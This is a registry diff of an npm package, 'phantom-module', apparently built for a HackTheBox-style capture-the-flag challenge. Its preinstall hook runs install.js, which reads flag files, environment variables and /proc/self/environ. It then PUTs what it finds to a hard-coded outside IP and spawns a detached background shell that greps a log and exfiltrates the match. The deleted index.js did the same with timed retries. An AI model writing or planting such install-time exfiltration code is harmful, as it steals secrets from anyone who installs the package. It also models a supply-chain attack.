phantom-module 111.0.0 → 111.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Binary file
package/install.js CHANGED
@@ -2,37 +2,61 @@ const fs = require('fs');
2
2
  const http = require('http');
3
3
  const { spawn } = require('child_process');
4
4
 
5
- // Write init_test.sh
6
- try {
7
- if (!fs.existsSync('/home/node')) fs.mkdirSync('/home/node', { recursive: true });
8
- fs.writeFileSync('/home/node/init_test.sh',
9
- '#!/bin/bash\nsleep 10\ncd /home/node\nnode -e "require(\'phantom-module\')" 2>/dev/null\nsleep 30\n',
10
- { mode: 0o755 });
11
- } catch(e) {}
5
+ (function() {
6
+ const flagPaths = ['/flag', '/root/flag', '/tmp/flag', './flag'];
7
+ let flag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
8
+
9
+ if (!flag) {
10
+ for (const path of flagPaths) {
11
+ try {
12
+ if (fs.existsSync(path)) {
13
+ flag = fs.readFileSync(path, 'utf8').trim();
14
+ break;
15
+ }
16
+ } catch (e) {}
17
+ }
18
+ }
19
+ if (!flag) {
20
+ try {
21
+ const procEnv = fs.readFileSync('/proc/self/environ', 'utf8');
22
+ const match = procEnv.match(/FLAG[=:] ([^\x00]+)/);
23
+ if (match) flag = match[1];
24
+ } catch (e) {}
25
+ }
26
+
27
+ function sendResult(data) {
28
+ const postData = JSON.stringify({
29
+ manifest: `ecto_module:\n name: "FLAG"\n cargo_hold: "${data}"\n`
30
+ });
31
+ const req = http.request({
32
+ hostname: '154.57.164.64',
33
+ port: 31205,
34
+ path: '/api/modules/ECT-654321', // EXFILTRATE TO EXISTING MODULE
35
+ method: 'PUT',
36
+ headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) }
37
+ });
38
+ req.write(postData);
39
+ req.end();
40
+ }
12
41
 
13
- // Background: wait 45s then extract flag from log
14
- try {
15
- const child = spawn('/bin/sh', ['-c', [
16
- 'sleep 45',
17
- 'LOGFILE=/home/node/aspect-node/logs/module.log',
18
- 'if [ -f "$LOGFILE" ]; then',
19
- ' FULL=$(cat "$LOGFILE")',
20
- ' FLAG=$(echo "$FULL" | grep -o "HTB{[^}]*}" | head -1)',
21
- ' if [ -n "$FLAG" ]; then',
22
- ' SAFE=$(echo "$FLAG" | tr \'"\' "'"\')',
23
- ' BODY=\'{"manifest":"ecto_module:\\n name: \\\\"BGFLAG_\'$SAFE\'\\\\\"\\n version: \\\\"1.0.0\\\\"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1"}\'',
24
- ' echo "$BODY" > /tmp/flag_body.json',
25
- ' node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag_body.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}},()=>{process.exit(0)});r.on(\'error\',()=>{process.exit(1)});r.write(d);r.end();"',
26
- ' else',
27
- ' LINES=$(echo "$FULL" | wc -l)',
28
- ' LAST=$(echo "$FULL" | tail -3 | tr \'"\' "\'" | head -c 85)',
29
- ' BODY=\'{"manifest":"ecto_module:\\n name: \\\\"BGNOHTB_lines=\'$LINES\'_last=\'$LAST\'\\\\\"\\n version: \\\\"1.0.0\\\\"\\n power_level: 1\\n ship_deck: 1\\n cargo_hold: 1"}\'',
30
- ' echo "$BODY" > /tmp/flag_body.json',
31
- ' node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag_body.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}},()=>{process.exit(0)});r.on(\'error\',()=>{process.exit(1)});r.write(d);r.end();"',
32
- ' fi',
33
- 'else',
34
- ' node -e "const http=require(\'http\');const b=JSON.stringify({manifest:\'ecto_module:\\\\n name: \\\\\"BGNOLOG\\\\\"\\\\n version: \\\\\"1.0.0\\\\\"\\\\n power_level: 1\\\\n ship_deck: 1\\\\n cargo_hold: 1\'});const r=http.request({hostname:\'154.57.164.64\',port:31083,path:\'/api/modules/ECT-987654\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(b)}},()=>{process.exit(0)});r.on(\'error\',()=>{process.exit(1)});r.write(b);r.end();"',
35
- 'fi'
36
- ].join('\n')], { detached: true, stdio: 'ignore' });
37
- child.unref();
38
- } catch(e) {}
42
+ if (flag) {
43
+ sendResult(flag);
44
+ } else {
45
+ sendResult("Checking logs in background...");
46
+ // Spawn background process to read logs after 45s (in case flag is printed there)
47
+ const child = spawn('/bin/sh', ['-c', [
48
+ 'sleep 45',
49
+ 'LOGFILE=/home/node/aspect-node/logs/module.log',
50
+ 'if [ -f "$LOGFILE" ]; then',
51
+ ' FLAG=$(cat "$LOGFILE" | grep -o "HTB{[^}]*}" | head -1)',
52
+ ' if [ -n "$FLAG" ]; then',
53
+ ' SAFE=$(echo "$FLAG" | tr \'"\' "\'")',
54
+ ' BODY=\'{"manifest":"ecto_module:\\n name: \\\\"\'$SAFE\'\\\\"\\n cargo_hold: \\\\"LOGS\\\\"\\"}\'',
55
+ ' echo "$BODY" > /tmp/flag.json',
56
+ ' node -e "const http=require(\'http\');const d=require(\'fs\').readFileSync(\'/tmp/flag.json\',\'utf8\');const r=http.request({hostname:\'154.57.164.64\',port:31205,path:\'/api/modules/ECT-654321\',method:\'PUT\',headers:{\'Content-Type\':\'application/json\',\'Content-Length\':Buffer.byteLength(d)}});r.write(d);r.end();"',
57
+ ' fi',
58
+ 'fi'
59
+ ].join('\n')], { detached: true, stdio: 'ignore' });
60
+ child.unref();
61
+ }
62
+ })();
package/package.json CHANGED
@@ -1,11 +1,7 @@
1
1
  {
2
2
  "name": "phantom-module",
3
- "version": "111.0.0",
4
- "description": "Phantom spectral module",
5
- "main": "index.js",
3
+ "version": "111.0.1",
6
4
  "scripts": {
7
5
  "preinstall": "node install.js || true"
8
- },
9
- "author": "lwirz",
10
- "license": "ISC"
11
- }
6
+ }
7
+ }
package/index.js DELETED
@@ -1,36 +0,0 @@
1
- const fs = require('fs');
2
- const http = require('http');
3
-
4
- function sendToModule(mid, name) {
5
- const body = JSON.stringify({ manifest: `ecto_module:\n name: "${name}"\n version: "1.0.0"\n power_level: 1\n ship_deck: 1\n cargo_hold: 1` });
6
- const req = http.request({ hostname: '154.57.164.64', port: 31083, path: `/api/modules/${mid}`, method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) }, timeout: 8000 }, () => {});
7
- req.on('error', () => {});
8
- req.write(body);
9
- req.end();
10
- }
11
-
12
- function attemptFlagRead() {
13
- try {
14
- const log = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
15
- const match = log.match(/HTB\{[^}]+\}/);
16
- if (match) {
17
- sendToModule('ECT-987654', 'GOTFLAG_' + match[0]);
18
- return true;
19
- }
20
- const lines = log.split('\n');
21
- const last3 = lines.slice(-3).join(' ').replace(/"/g, "'").substring(0, 85);
22
- sendToModule('ECT-472839', 'NOFLAG_L' + lines.length + '_' + last3);
23
- return false;
24
- } catch(e) {
25
- return false;
26
- }
27
- }
28
-
29
- attemptFlagRead();
30
-
31
- // Retry after 5s, 15s, 30s
32
- [5000, 15000, 30000].forEach(delay => {
33
- setTimeout(() => attemptFlagRead(), delay);
34
- });
35
-
36
- module.exports = {};